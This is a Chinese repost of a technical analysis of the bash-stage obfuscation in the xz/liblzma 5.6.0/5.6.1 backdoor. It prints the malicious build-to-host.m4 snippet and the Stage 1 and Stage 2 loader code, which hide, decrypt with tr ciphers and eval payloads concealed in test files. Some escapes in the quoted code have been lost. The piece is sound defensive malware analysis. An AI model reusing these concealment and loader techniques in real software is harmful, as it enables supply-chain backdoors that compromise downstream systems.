xz/liblzma:Bash 阶段混淆解释

admin 2024年4月22日05:55:19评论2 views字数 6447阅读21分29秒阅读模式

xz/liblzma:Bash 阶段混淆解释

昨天,Andres Freund 在 oss-security@ 邮件列表中通知了社区发现了 xz/liblzma 中的后门,这影响了 OpenSSH 服务器(对他注意到并调查到此问题表示非常尊重)。Andres 的邮件对整个事件做了一个很好的总结,所以我会略过那部分内容。尽管令人垂涎的和最有趣的部分是含有后门的混淆二进制文件,但引起我的注意的部分是初始的 bash 部分以及其中使用的简单但巧妙的混淆方法。请注意,这并不是对 bash 部分的完整描述,而是对每个阶段如何被混淆和提取的记录。
开篇说明
在开始之前,我们需要了解几点。
首先,受影响的 xz/liblzma 有两个版本:5.6.0 和 5.6.1。它们之间的区别很小,但确实存在。我会尽量涵盖这两个版本。
其次,bash 部分被分为三(四?)个感兴趣的阶段,我将它们命名为阶段 0(这是在 m4/build-to-host.m4 中添加的起始代码)到阶段 2。我也会涉及到潜在的“阶段 3”,尽管我认为它尚未完全显现。
还请注意,混淆/加密的阶段和后来的二进制后门隐藏在两个测试文件中:tests/files/bad-3-corrupt_lzma2.xz 和 tests/files/good-large_compressed.lzma。
阶段 0
正如Andres所指出的,事情始于 m4/build-to-host.m4 文件。这里是相关代码片段:
...gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'...gl_path_map='tr "t -_" " t_-"'...
这段代码我相信是在构建过程中的某个地方运行的,它提取了阶段 1 的脚本。以下是一个概述:
  • 从 tests/files/bad-3-corrupt_lzma2.xz 文件中读取字节,并将其输出到标准输出/输入的下一步 - 这种步骤的链接在整个过程中相当典型。在读取所有内容后,会添加一个换行符(n)。
  • 第二步是运行 tr(translate,即“将字符映射到其他字符”或“将字符替换为目标字符”),它基本上将选定的字符(或字节值)更改为其他字符(其他字节值)。让我们通过一些特征和示例来详细了解一下,因为这将在后面非常重要。
    最基本的用法如下所示:
echo "BASH" | tr "ABCD" "1234"
运行结果是:

21SH
这里发生的是,“A”被映射(转换)为“1”,“B”为“2”,依此类推。
我们还可以指定字符范围。在我们的初始示例中,我们只需将“ABCD”更改为“A-D”,然后在目标字符集中执行相同操作:“1-4”。
echo "BASH" | tr "A-D" "1-4"
结果是:
21SH
类似地,我们可以指定它们的ASCII码... 以八进制表示。所以“A-D”可以改为“101-104”,而“1-4”可以变为“61-64”。
echo "BASH" | tr "101-104" "61-64"
结果是:
21SH
  • 这也可以混合使用 - 例如,“ABCD1-9111-115”将创建A、B、C、D、1至9的一组数字,然后是I(八进制代码111)、J、K、L、M(八进制代码115)。这对于输入字符集和目标字符集都是如此。
  • 回到代码,我们有 tr "t -" " t-”,它在从 tests/files/bad-3-corrupt_lzma2.xz 文件中流式传输的字节中进行了以下替换:
    这实际上“解除了” bad-3-corrupt_lzma2.xz,使其再次形成一个合法的 xz 流。
    • 0x09(t)被替换为0x20,
    • 0x20(空格)被替换为0x09,
    • 0x2d(-)被替换为0x5f,
    • 0x5f(_)被替换为0x2d,
  • 在此阶段的最后一步中,修复后的 xz 字节流被提取,忽略了错误(流似乎被截断了,但这并不重要,因为整个有意义的输出已经被写出)。这个结果就是阶段 1 的脚本,随后被立即执行。
阶段 1
在Andres的邮件中,这是以“####Hello####”开头的 bash 文件,非常简短,所以让我们把它和 5.6.0 和 5.6.1 之间的差异标记为黑色背景。
####Hello##### 一些二进制字节在这里,但因为这是一条注释,它们会被忽略[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0...
在5.6.0版本中,第二行的注释中是 86 F9 5A F7 2E 68 6A BC, 而在5.6.1版本中则是 E5 55 89 B7 24 04 D8 17。我不确定这些差异是否有任何意义,但想要注意一下。
在5.6.1中添加了检查脚本是否在Linux上运行的检查,并且它重复了5次,这非常有趣 - 是否有人像“哎呀,上次忘了这个,引起了问题,最好多次放置它来偿还罪过!”?
我们稍后再回到剩余的差异,但现在让我们转到阶段 2 提取代码,那就是那个带有大量头的巨大导出 i=...行。与之前一样,我们逐步进行:
  • 开头的 export i=... 实际上只是一个函数“定义”。它在第3步(以及阶段 2)中被调用,我们一会儿就会来讨论它(而且比看起来更简单)。
  • 第一个实际的阶段 2 提取过程是 good-large_compressed.lzma 文件的解压缩(xz -dc),这与之前的第 1 步是相同的。
  • 现在我们来到了 i 函数的调用(eval $i)。这个函数基本上是一系列的 head 调用,它要么输出下一个 N 字节,要么跳过(忽略)下一个 N 字节。
    在一开始我们有这个:
(head -c +1024 >/dev/null)
这里的 -c +1024 选项告诉 head 从输入数据流中读取并输出下一个 1024 字节(请注意,+ 在这里被忽略了,它不起作用,与 tail 中的不同)。但是,由于在这种情况下输出被重定向到 /dev/null,我们实际上得到的是“跳过下一个 1024 字节”。
这是一个好时机来注意一下,如果我们看一下 good-large_compressed.lzma 文件中未压缩的数据流的前 1024 个字节,基本上是字符“A”(字节 0x41)重复了 1024 次。稍作预测,前面的 1024 个字符之后是一些二进制数据。
下一个 head 调用看起来几乎一样,长度不同:
head -c +2048
  • 请注意,在这种情况下输出不会被忽略 - 它实际上将作为输入传递给下一步。
    然后这种模式重复:跳过 1024 字节,然后输出 2048 字节,跳过 1024 字节,输出 2048 字节... 一直到文件的最后,在那里只有 724 字节(在 5.6.0 中)或 939 字节(在 5.6.1 中)被输出。
  • 为了形象化,这是由这组 head 调用处理的实际输入数据。字节 0 位于文件的左上角;每一列代表文件的 256 个字节,以灰度显示。请注意高熵(“嘈杂”)区域之间的“空白灰”区域 - 脚本的这一部分基本上只是删除空区域,并将具有实际数据的区域合并在一起。
在下一步 - tail -c +31233 中 - 数据的初始部分被丢弃(剧透:它隐藏了二进制后门,后来在下一个阶段提取,所以现在不需要它)。在 5.6.0 中,这将是前 31264 个字节,在 5.6.1 中,这是 31232(差异是因为 tail -c +N 意味着“从第 N 个字节开始输出”,而不是“忽略前 N 个字节”)。
第 5 步再次访问 tr 命令,这次它被用作非常简单的替换密码,密钥(字节值映射)在 5.6.0 和 5.6.1 中有所不同:
  • 5.6.0:tr "5-51204-37752-115132-203-4116-131" "-377"
  • 5.6.1:tr "114-321322-37735-4714-34-1350-113" "-377"
根据先前的解释,这基本上意味着(对于 5.6.0)值为 5 的字节将被替换为值为 0 的字节,值为 6 的字节将被替换为值为 1 的字节,依此类推。在每种情况下,都有 6 个范围,它们映射到整个 0 - 255(这是 377 八进制)范围。
在最后一步中,解密后的数据被解压缩(xz -F raw --lzma1 -dc),并且得到的阶段 2 脚本被立即执行。
阶段 2
阶段 2 是 Andes 在原始电子邮件中附上的 infected.txt 文件(顺便说一句,这是 5.6.0 版本)。这个 bash 脚本中有很多事情要做,因为这是实际编译过程修改发生的地方。
从混淆分析的角度来看,这个脚本有三个有趣的片段,其中两个只出现在 5.6.1 版本中。让我们从这些开始,因为它们也更简单。
阶段 2“扩展”机制
片段 1:
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`if test "x$vs" != "x" > /dev/null 2>&1;thenf1=`echo $vs | cut -d: -f1`if test "x$f1" != "x" > /dev/null 2>&1;thenstart=`expr $(echo $vs | cut -d: -f2) + 7`ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`if test "x$ve" != "x" > /dev/null 2>&1;thenf2=`echo $ve | cut -d: -f1`if test "x$f2" != "x" > /dev/null 2>&1;then[ ! "x$f2" = "x$f1" ] && exit 0[ ! -f $f1 ] && exit 0end=`expr $(echo $ve | cut -d: -f2) - $start`eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "5-51204-37752-115132-203-4116-131" "-377" | xz -F raw --lzma2 -dc`fifififi
片段 3:
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`if test "x$vs" != "x" > /dev/null 2>&1;thenf1=`echo $vs | cut -d: -f1`if test "x$f1" != "x" > /dev/null 2>&1;thenstart=`expr $(echo $vs | cut -d: -f2) + 7`ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`if test "x$ve" != "x" > /dev/null 2>&1;thenf2=`echo $ve | cut -d: -f1`if test "x$f2" != "x" > /dev/null 2>&1;then[ ! "x$f2" = "x$f1" ] && exit 0[ ! -f $f1 ] && exit 0end=`expr $(echo $ve | cut -d: -f2) - $start`eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "5-51204-37752-115132-203-4116-131" "-377" | xz -F raw --lzma2 -dc`fifififi
这两个片段几乎完全相同,所以我们同时处理它们。它们做了以下事情:
首先,它们尝试在 tests/files/ 目录中查找包含以下字节(签名)的两个文件:片段 1:“~!:_ W” 和 “|_!{ -” 片段 3:“jV!.^%” 和 “%.R.1Z” 请注意,实际上由 grep 输出的内容具有以下格式:file_name:offset:signature。例如:
$ grep -broaF "XYZ"testfile:9:XYZ
如果找到这样的文件,则提取每个文件的偏移量(cut -d: -f2,假设 : 是字段分隔符),并将第一个偏移量 + 7 保存为$start,并将第二个文件的第二个偏移量保存为$end。
一旦脚本有了$start和$end偏移量,它就会切割出具有第一个签名的文件的部分:
cat $f1 | tail -c +${start} | head -c +${end}
接下来是替换密码(使用阶段 1 中的 5.6.0 版本密钥):
tr "5-51204-37752-115132-203-4116-131" "-377"
然后解压缩数据以便立即执行:
eval `... | xz -F raw --lzma2 -dc`
在任何被调查的 TAR 档案中,仅仅两个带有扩展机制的文件存在。一个包含 '~!:_ W' 和 '|_!{ -' 的文件,另一个包含 'jV!.^%' 和 '%.R.1Z'。
不过,5.6.1 版本引入了另一个检查,它不仅仅检查了第二个文件的签名,还检查了第一个文件的签名是否与第二个文件不同:
[ ! "x$f2" = "x$f1" ] && exit 0
这意味着脚本不会尝试提取(并执行)它们本身。它还检查文件是否存在:
[ ! -f $f1 ] && exit 0
如果文件不存在,那么执行将立即终止。
在测试时发现,在代码“exit 0”的行上,脚本将提前终止。因此,这并不意味着在找到文件时立即退出 - 它是在不进行提取的情况下退出的。
阶段 2“主要”机制
片段 2:
vs=`grep -broaF '<+G$!:' $srcdir/tests/files/ 2>/dev/null`if test "x$vs" != "x" > /dev/null 2>&1;thenf1=`echo $vs | cut -d: -f1`if test "x$f1" != "x" > /dev/null 2>&1;thenstart=`expr $(echo $vs | cut -d: -f2) + 7`ve=`grep -broaF ':Dc' $srcdir/tests/files/ 2>/dev/null`if test "x$ve" != "x" > /dev/null 2>&1;thenf2=`echo $ve | cut -d: -f1`if test "x$f2" != "x" > /dev/null 2>&1;then[ ! "x$f2" = "x$f1" ] && exit 0[ ! -f $f1 ] && exit 0end=`expr $(echo $ve | cut -d: -f2) - $start`eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "5-51204-37752-115132-203-4116-131" "-377" | xz -F raw --lzma2 -dc`fifififi
这个片段与前面的几乎相同,只是签名不同:
  • "x$f2" = "x$f1" 的签名是 "<+G$!:" 和 ":Dc"。
  • "x$f2" != "x$f1" 的签名是 "~!:_ W" 和 "|_!{ -"。
  • 以及 "x$f2" != "x$f1" 的签名是 "jV!.^%" 和 "%.R.1Z"。
请注意,在执行最后的 eval 之前,由于 eval ... | xz -F raw --lzma2 -dc,也会解压缩数据。
这三个片段的共同之处在于它们都是提取阶段 2 的实际数据的代码。这一步骤是混淆的最后一步,因为提取的数据将立即被解压缩并执行。实际上,它们是对阶段 2 的“加密”数据进行解码的部分。
结论
在讨论了这些阶段后,我已经确定了两个不同版本之间的混淆(5.6.0 和 5.6.1),并且它们之间存在了一些微小的差异。主要是在阶段 1 和 2 的最后一步中,其中的一些依赖于不同的值。
  • 阶段 1 中的注释中的字节值是不同的。
  • 阶段 1 中的注释的重复次数是不同的(但在同一个循环中)。
  • 阶段 2 中的替换密码是不同的。
  • 阶段 2 中的 grep 模式是不同的。
此外,5.6.1 引入了一些附加检查(对文件的存在性和第一个文件的签名与第二个文件的签名的不同检查),并且阶段 2 被分为两个不同的机制(扩展和主要)。
尽管如此,最终结果是相同的:一个非常复杂的脚本被解码并执行,而无需在文件系统上保留明文版本。

原文地址:

https://gynvael.coldwind.pl/?lang=en&id=782



感谢您抽出

xz/liblzma:Bash 阶段混淆解释

.

xz/liblzma:Bash 阶段混淆解释

.

xz/liblzma:Bash 阶段混淆解释

来阅读本文

xz/liblzma:Bash 阶段混淆解释

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):xz/liblzma:Bash 阶段混淆解释

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日05:55:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xz/liblzma:Bash 阶段混淆解释http://cn-sec.com/archives/2623511.html

发表评论

匿名网友 填写信息